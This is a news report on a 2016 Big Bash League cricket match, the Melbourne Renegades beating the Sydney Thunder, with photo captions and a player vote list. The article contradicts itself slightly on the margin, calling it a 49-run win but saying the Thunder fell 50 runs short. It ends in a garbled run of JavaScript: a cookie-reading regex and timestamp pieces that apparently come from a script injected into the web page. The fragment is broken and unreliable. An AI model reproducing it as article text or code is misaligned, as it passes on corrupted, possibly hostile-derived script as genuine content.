MELBOURNE, AUSTRALIA - DECEMBER 22: Aaron Finch of the Renegades bats during the Big Bash League match between the Melbourne Renegades and Sydney Thunder at Etihad Stadium on December 22, 2016 in Melbourne, Australia. (Photo by Michael Dodge/Getty Images)

Aaron Finch and Brad Hogg led the Melbourne Renegades to an impressive 49-run win over the Sydney Thunder at Etihad Stadium last night.

Finch finally found some much needed form, smashing 63 from just 37 balls after his side was sent into bat by the Thunder. One of Finch's four sixes even went into the second tier of the Docklands Stadium.

He was helped by handy cameos from Callum Ferguson (38 from 32) and Dwayne Bravo (24 from 16), as the Gades reached 7-179 from their 20 overs.

In reply, the Thunder got off to the worst possible start, losing a wicket on the very first ball of the innings. Things got even worse in the next over, when Eoin Morgan joined Kurtis Patterson in the pavilion, making it 2-5.

Sydney were eventually bowled out for just 130, unable to stop the steady flow of wickets, falling 50 runs short of victory.

MELBOURNE, AUSTRALIA - DECEMBER 22: Brad Hogg of the Renegades appeals unsuccessfully for an LBW during the Big Bash League match between the Melbourne Renegades and Sydney Thunder at Etihad Stadium on December 22, 2016 in Melbourne, Australia. (Photo by Michael Dodge/Getty Images)

Veteran spinner Brad Hogg stole the show with the ball, finishing with figures of 2-22 from four overs. Dwayne Bravo and Sunil Narine also claimed two wickets each.

Ryan Gibson top scored for the Thunder with 39, while Pat Cummins, batting at No.6 staked his claims for all-rounder status, hitting an impressive 36 from 23 balls.

Votes:

3. Aaron Finch (Renegades)

A much needed and impressive half-century from the skipper, who led from the front and got his team off the perfect start.

2. Brad Hogg (Renegades)

Hogg showed he's still go it, even at 45 years of age. He claimed two wickets early in the Thunder's chase, and finished with an impressive economy rate of just 5.50

  1. Tom Cooper (Renegades)

Scored just seven with the bat, but opened the bowling and claimed the first wicket of the innings with the very first ball. Finished with two overs, one wicket and conceded just eight runs. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}